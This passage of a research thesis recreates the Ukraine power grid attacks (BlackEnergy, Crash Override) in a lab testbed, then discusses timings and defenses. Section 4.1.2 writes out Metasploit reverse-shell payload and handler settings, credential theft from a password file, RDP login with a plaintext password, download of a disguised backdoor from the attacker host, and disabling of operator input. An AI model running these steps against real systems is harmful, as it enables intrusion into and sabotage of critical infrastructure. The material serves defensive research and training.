The simulation of the experiment consisted of devising all the attack methods in a predetermined sequence. It is depicted in the figure 4.4. The experiment is abstracted into multiple modules: Adversary Management Module(AMM), Social Engineering Module(SEM), Back Door Agent

Figure 4.3 Details of the reverse shell payload by Metasploit

Payload Details
- a (arch): x86
--platform: windows
-p (payload): windows/shell/reverse_tcp
LHOST: 25.25.25.27
LPORT: 3333
-e (encoder): x86/shikata_na_gai
-b (bad-chars): ”/x00”
-f (format): exe
-o (output): /tmp/backdoor.exe
Module (BDA), Supporting Attacks Module (SAM), Delay Restoration Module (DRM), Power Grid Attack Module (PGM). The sequence starts with the initiation of the SEM module for a spearphishing mail and once an operator clicks the payload it gives the AMM module the reverse shell. The AMM then sends the Command and Control (C2) commands to the BDA module, which retrieves the credentials from the IT network. The AMM then initiates the GUI hijack session by deploying the GUI modules. After hijacking the session, AMM then opens the breakers. The final stage is the deployment of the DoS attacks and Delay restoration attacks. The attack consisted of the five important steps:

![Figure 4.4 Timing Diagram for Black Energy attack](image-url)
• Attack preparation and propagation

• Spear phishing and payload execution

• Remote Desktop session after credential theft

• Lateral movement from IT to OT network

• Disabling UI controls for phantom mouse attack

### 4.1.2.1 Attack preparation and propagation

The first step in the experiment is the preparation of the attack and propagation. We are going to spread the malicious payload from the attacker operating system, spread them through a phishing email within the target organization and listen for incoming connections to the attacker. The command list is given figure 4.5 and the output for this step is given in figure 4.6

<table>
<thead>
<tr>
<th>Prepare for the attack by typing following in command line:</th>
</tr>
</thead>
<tbody>
<tr>
<td>C01: service apache2 start</td>
</tr>
<tr>
<td>C02: service postgresql start</td>
</tr>
<tr>
<td>C03: service ssh start</td>
</tr>
<tr>
<td>C04: msconsole</td>
</tr>
<tr>
<td>C05: use exploit/multi/handler</td>
</tr>
<tr>
<td>C06: set payload windows/meterpreter/reverse_tcp</td>
</tr>
<tr>
<td>C07: set LHOST 25.25.25.27</td>
</tr>
<tr>
<td>C08: set LPORT 3333</td>
</tr>
<tr>
<td>C09: show options</td>
</tr>
<tr>
<td>C10: exploit</td>
</tr>
</tbody>
</table>

Figure 4.5 Command list for attack propagation
4.1.2.2 Spear phishing and payload execution

The next step is the spear phishing email and the payload execution. For convenience, the email is already sent and we have to click on the link specified and download the payload and double click on the exe to run the payload. The stealing of RDP credentials once the attacker has access to the victim’s system as explained in figure 4.7. The spear-phishing email that was sent with the payload is shown in figure 4.8 and the terminal responses in the attacker’s node when a victim clicks on the payload are given in figure 4.9.
Figure 4.7  Command list for stealing the RDP credentials

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>C01:</td>
<td>sysinfo</td>
</tr>
<tr>
<td>C02:</td>
<td>getsystem</td>
</tr>
<tr>
<td>C03:</td>
<td>shell</td>
</tr>
<tr>
<td>C04:</td>
<td>cd C:\Users\Administrator\Desktop</td>
</tr>
<tr>
<td>C05:</td>
<td>Type pwd.txt</td>
</tr>
</tbody>
</table>

Figure 4.8  Spear phishing email sent to the employees in the business network
4.1.2.3 Remote Desktop session after credential theft

The next step in the experiment is the remote desktop session and credential theft. In this phase, we are going to get a remote desktop session into the control center and hijack the session. Type the following commands in the Kali Linux (Attacker VM) as mentioned in figure 4.10. Once it is successful, we will get a small window with the target remote desktop as shown in figure 4.11.

```
RDP into the CC
C01: rdesktop -g 80% 10.5.0.206 -u Administrator -p @tckDfn3xprmntz
```

Figure 4.10 Command to obtain remote desktop of Control Center
4.1.2.4 Lateral movement from IT to OT network

The next step in the experiment is the lateral movement from the IT network to the OT network. We move our control from the Business Host VM to the Control Center VM. Open the command window and navigate to the desktop folder by typing the command `cd Desktop` and type the following as shown in figure 4.12. If the payload is moved from the business network system to the control center system, we will have a response as shown in figure 4.13.
Within the CC RDP session in Kali, download the vpninstaller.exe with cmd:

**C01**: pscp root@25.25.25.27:/root/Desktop/vpninstaller.exe

C:\Users\Administrator\Desktop

The password is 'toor' when asked.

Exit meterpreter in Kali

**C01**: exit

**C02**: exit

**C03**: exploit

---

Figure 4.12  Commands to move from Business network to Control Center network

---

Figure 4.13  Output in the command window for successful lateral movement
4.1.2.5 Disabling UI controls for phantom mouse attack

The final step in the experiment is the disabling of the UI controls for the attack. The following steps are performed as mentioned in figure 4.14.

<table>
<thead>
<tr>
<th>Use the browser in Kali called Iceweasel and go to the VNC session of CC with 10.5.0.206:8081/vnc, click screen sharing and you will see the desktop of the CC. There, double click the vpminstaller.exe downloaded on the desktop in last step.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacker gets the reverse shell of the CC. Then disable keyboard and mouse of CC with</td>
</tr>
<tr>
<td>C01: uictl disable mouse</td>
</tr>
<tr>
<td>C02: uictl disable keyboard</td>
</tr>
</tbody>
</table>

Figure 4.14 Commands to disable the User Interface of the Control Center

4.2 Crash Override based attack

4.2.1 Implementation in the PowerCyber Lab

The second cyber attack in Ukraine was also modeled in the PowerCyber lab similar to the first attack. The second attack was modeled with the persistent agent from the previous attack which grants the reverse shell access to the control center. Then the launcher script is spawned which waits for the commands from the attacker. The script then launches two modules: the payload and the data wiper. The payload script injects the bad data into the Energy Management Software causing frequency instability and the data wiper module wipes out the registry keys once the attack is done. The sequence of operations is captured in the figure 4.15. The modules are the same compared to the Black energy attack simulation with some newer modules: Launcher Module(LM), Payload Module(PM) for this attack. The AMM initiates a connection to the persistent Backdoor agent and then with the obtained reverse shell. The AMM then initiates a Launcher module to detect the protocol. Then it deploys the Payload module to deploy the attack vectors on the AGC along
with the delay restoration module. The actual attack that happened is captured in figure 4.16 and the implementation in the PowerCyber lab is shown in figure 4.17.

![Timing diagram for Crash Override attack](image)

**Figure 4.15** Timing diagram for Crash Override attack

### 4.2.1.1 Backdoor Module

This is the first step in the attack. This module imitates the backdoor agents that were present in the ICS Control Centers that were the aftermath of the Black Energy based attacks in 2015. In a similar fashion, a backdoor agent (exe payload converted into a persistent agent) was deployed in a Windows 7 VM. The persistent agent was disguised as a normal windows service establishing
a connection to the attacker VM and listening for commands. The persistent agent was created using the Metasploit framework.

### 4.2.1.2 Launcher Module

Once the backdoor agent makes successful contact with the attacker, the second step is the launcher module. The launcher module detects the protocol and launches the payload while also setting up an internal proxy server. In the implementation in PowerCyber Lab, we launched a python script to launch from the Windows 7 VM and another python script to act as a C2 server giving commands to the control center.
4.2.1.3 Payload Module

The payload module is the one that actually deals the damage to the ICS systems. The Power Cyber lab implementation was a python script that creates fluctuations in the generation of the OPAL RT models, by modifying the ACE values (Area Control Error Values) fed to the model. The values are increased and decreased above the threshold in a short span of time to create instability in the generation, thereby creating instability in the model. Once the value goes above a particular value, the generation is stopped imitating a blackout situation.

4.2.1.4 Data Wiper Module

The last step of the Crash Override attack is the delay in the restoration. In the Crash Override attack, it was done by deleting the Windows critical registry keys so as to cause a blue-screen death. It was implemented in the PowerCyber lab by having a python script deleting the registry keys once the relay was tripped.

4.3 Use case analysis of Adversary management Module

The ideal case where the adversary gets a foothold on the IT/OT network is captured and modeled in the above experiments. In a realistic scenario, the adversary might send out multiple copies of the spear phishing email and wait for a user response. This is shown in figure 4.18. In the first case, we assume the ideal scenario where the first spear-phishing mail gets responded by a user click action. In the second case, the adversary sends multiple payloads and only the most recent one gets a response. The third scenario is the one where one of the multiple payloads gets a response in between. In all these three scenarios we captured the round trip time of the packets to complete that particular activity and it is listed in the figure 4.19. The timings were calculated with the individual modules and the time for the control center to respond to the spear-phishing email, time for the opening of the breakers were approximated. The timings were calculated for each and every module based on when the packet takes the time to complete the activities of that abstract module. For example, the time taken for the social engineering module to be finished is
indicated by $t_{SEM}$ and the time taken for the operator to click the payload to give the reverse shell is given by $t_{CN}$. It is approximated as 20 mins because it is arbitrary and practically it might take any time for that event to occur. The time $t_{BDA}$ is the time taken for the Backdoor agent module to set up the command and control server to deploy the attack vectors and $t_{AV}$ is the measure of the attack vectors to trip open the breakers. The attack vector time is also approximated because it might differ when it is implemented practically. The times $t_{DoS}$ and $t_{DR}$ are the time taken for DoS attacks and Delay restoration modules respectively.
Cases of Adversary Management Module

Figure 4.18 Simulated use cases of Adversary Management Module

\[ t_{SCADAat} = t_{SEM Payload} + t_{control Network} + t_{BDAPayload} + t_{AttackVectors} \]
\[ t_{SupportingAttacks} = t_{DoS} + t_{delayRestoration} \]

<table>
<thead>
<tr>
<th></th>
<th>( t_{SEM} )</th>
<th>( t_{CN} )</th>
<th>( t_{BDA} )</th>
<th>( t_{AV} )</th>
<th>( t_{DoS} )</th>
<th>( t_{DR} )</th>
</tr>
</thead>
<tbody>
<tr>
<td>Case 1</td>
<td>180 ms</td>
<td>~ 20 min</td>
<td>82 ms</td>
<td>~ 10 min</td>
<td>165 ms</td>
<td>1267 ms</td>
</tr>
<tr>
<td>Case 2</td>
<td>1934 ms</td>
<td>~ 20 min</td>
<td>146 ms</td>
<td>~ 10 min</td>
<td>174 ms</td>
<td>1472 ms</td>
</tr>
<tr>
<td>Case 3</td>
<td>1985 ms</td>
<td>~ 20 min</td>
<td>131 ms</td>
<td>~ 10 min</td>
<td>159 ms</td>
<td>1538 ms</td>
</tr>
</tbody>
</table>

Figure 4.19 Timings of the individual modules
CHAPTER 5. SUMMARY AND DISCUSSION

5.1 Training Modules

The Ukraine power grid attack experiment proves as a very interesting use case to study which models a very realistic cybersecurity breach in the power grid domain. Hence, it was converted into a training module where industry experts can get a hands-on training on the attack-defense experiment understanding the minute details and thereby get knowledge on avoiding the steps leading to the breach. The figure 5.1 shows the virtual machines and the network configurations on the training module that was implemented as an outcome of this study.
5.1.1 Implementation

The entire training module consisted of eleven virtual machines (VM) with one VM for emulating a host node in the corporate network, three VMs for control center, one VM for an adversary, three VMs for substation, one gateway each for corporate network, control center network and the substation network. These virtual machines were connected through Virtual Local Area Networks (VLANs) to segment them into three separate networks that are interconnected in a manner explained in the figure 4.2 in chapter 4. This explains the modularity that is implemented as a result of this study. To make it scalable, the master module has been cloned three times to create the same set of training modules for three different teams: Ukraine1, Ukraine2, and Ukraine3. This facilitates the training module to be scaled up to any number of teams based on the necessity and availability of storage.

5.2 Mitigation Measures

We come to know that Power Grid is a highly complex and sophisticated ecosystem which cannot be completely modeled in computer simulations. The hardware-in-the-loop testing in PowerCyber lab obtains realistic results of the experimentation. This is crucial because simulated experiments cannot render the impacts happening in real-world situations. Recreation of exact attack for experiments is expensive and hence the test-beds like PowerCyber lab bridge the gap between them. Hardware-in-the-loop test-beds can provide a better understanding of cybersecurity breaches in the power grid which augments advanced research in the field. They also are not built for a specific experiment and hence can be quickly modified for simulating a large variety of security experiments. With increasing security incidents in critical infrastructure like the Grid, these test-beds are the need of the hour to improve the defense capabilities without compromising on latency in day-to-day operations. The test-beds are also crucial because the power grid cannot undergo rapid upgrades on legacy infrastructure matching the pace of technological development. Computer simulations lack the complexity that is present in hardware-in-the-loop test-beds as they perfectly capture the
impacts on the grid containing components that belong to different generations of the technological advancement.

5.2.1 Suggested Defense methods

As we modeled the Ukrainian Power Grid attack in the Power Cyber Test lab the following defense methods are suggested as a counter-measure to prevent the attack:

a. *Multi-factor Authentication*: Having two or more factors of authentication effectively prevents the entry of the attackers into the systems when the usernames and passwords are compromised. This is because the codes generated for the second-factor are real-time and it makes it difficult for the adversary to reproduce it.

b. *Active Network Monitoring*: The substation systems can have an Intrusion Detection System (IDS) / Intrusion Prevention System (IPS) to monitor network traffic and raise alarms if the traffic seems suspicious.

c. *Firewalls and DMZs*: Firewalls are essential between control centers and substations, business networks and control centers and all the elements which are internet-facing to prevent unauthorized computers from accessing the control network. De-Militarized Zones (DMZs) are effective as they split the network into two parts and even if the internet-facing side is breached the other network is unaffected.

d. *IP address and Application white listing*: Unlike traditional IT systems where the IP addresses are blacklisted, SCADA systems can actually have the IP addresses whitelisted because there will be a limited number of trusted nodes exchanging information. As an addition, the applications which are useful in control operations can be whitelisted to prevent the attackers to run some background agents or daemons in the systems when they are compromised.

e. *Closing unused ports and restricting remote access*: It is extremely important to close all the unused ports and restricting remote access for the control centers and substation only when
it is absolutely necessary. It is advisable to disable remote access once the remote task has been performed.

Network Segmentation and Smart Switches/Routers: The networks that connect the control center, substation and business networks can all be segmented and bridged with the help of routers in such a way that one compromised network does not affect the other. This will also reduce the attack surface drastically and show fewer nodes when the attacker tries to enumerate the network. Smart Switches/Routers can be deployed to detect the Denial-of-Service type of attacks and can drop the particular type of traffic at an early stage.

Security awareness training: It is essential that all the operators, staff and management are aware of secure industrial practices and awareness about common exploitation methods like social engineering, phishing etc., especially to the people/users of the critical systems.

The Smart Grid is of complex nature and there is no fixed topology and there is no fixed defense case scenario that fits all the situations and different situations might demand different combinations of these suggested defense methods based on the feasibility of implementation. In the modeled experiment, we used the first three methods to prevent the attack.

5.3 Observations and Evaluation

5.3.1 Unique Insights

The experiments carried out in the realistic testbed presents an interesting inside perspective which traditional simulation-based experiments would have failed to provide. The following observations were made as a result of the two attacks:

- The weakest link of any cyber-physical system is the human operator/user who gets tricked into a socially engineered attack.
• The commands for tripping the physical components like the relays have to follow a certain order and a sequence. Failure to comply with the sequence or missing the time intervals might avoid the attack from implementation.

• The lateral movement to OT networks is possible only through the IT network’s link to the OT network. Constant monitoring of the bridging nodes between these networks for suspicious activity and spurious processes might reduce the impacts.

• Segmented networks should periodically monitor the bridging gateways’ Network Address Translation (NAT) rules, static/dynamic IP routes, firewall policies for early detection of threat actor’s reconnaissance activities.

• Compromised IT systems might set up an internal Command and Control (C2) server in the local networks for persistent operations. A thorough check of all the nodes is essential in case any node in the network is affected.

5.3.2 Resilient Smart Grid Design

Traditional IT security defense methods may not be applicable to smart grid environment because of the complexity of the Grid and the components associated with it. The inherent problems faced while designing the security of the smart grid are:

a Latency Considerations: The responses of command and control signals are typically faster in Electric Grid compared to traditional IT systems. For example, the RAS system typically has a response time of $20\text{ms}^{[11]}$. Hence, encrypting traffic should not affect the speed of operations.

b Performance Overheads: All the devices other than the substation and the control center computers have a very low processing power and battery life. Hence, the devices may not be able to handle performance overheads if the security measures involve complex encryption methods.
The number of security breaches is on the rise and every year the number of cyber attacks on all the systems are exponentially increasing. A prudent approach is mandatory while designing the security of critical infrastructure as it directly affects the livelihoods of people. Designing security methods on a system level considering the smart grid as a whole is of paramount importance as it has many benefits such as:

- **Avoiding vendor specific vulnerabilities**: The smart grid indispensably uses components like sensors, control elements like breakers, switches, hardware, and software that are available elsewhere in the world and hence their vulnerabilities also affect the system. But having a system level approach can counter the attack vectors as the smart grid System can be secured by unique design.

- **Advanced Failure Reporting and centralized network monitoring**: Designing a system-level security approach for the smart grid can also facilitate a centralized network monitoring mechanism which might be capable of reporting failures or possible suspicious attack activity early on to secure the remaining portion of the network.

### 5.4 Conclusion

The need to develop a scalable test bed that facilitates faster development time to perform complex cyber-security experiments in critical infrastructures like the Smart Grid is quite compelling as recent days have witnessed a surge in security breaches. Existing test beds contain real-time testing components that model experiments with better data and results which are as close to the industrial practice as possible. However, the Smart Grid is a heterogeneous mix of hardware and software components which contain legacy infrastructure working in harmony with the latest technologies in the sector. Owing to this heterogeneity, there are many vulnerabilities which need immediate attention and expedited research. To achieve this complexity and a faster transition of research into practice, we studied a concept with modularization of test beds which can make this
possible. This design principle provides a solid foundation to find potential solutions to practical challenges in preserving the critical infrastructure from malicious attacks.

This report introduces the Smart Grid, its intrinsic threats, and vulnerabilities necessitate the need for test bed development, compares the existing test beds for cyber-physical systems. It then proposes a design principle for efficient study of CPS infiltration, implements two real-world cybersecurity incidents (Ukrainian Power Grid attacks) and summarizes the findings providing suggestions for mitigation and resilient design.
BIBLIOGRAPHY


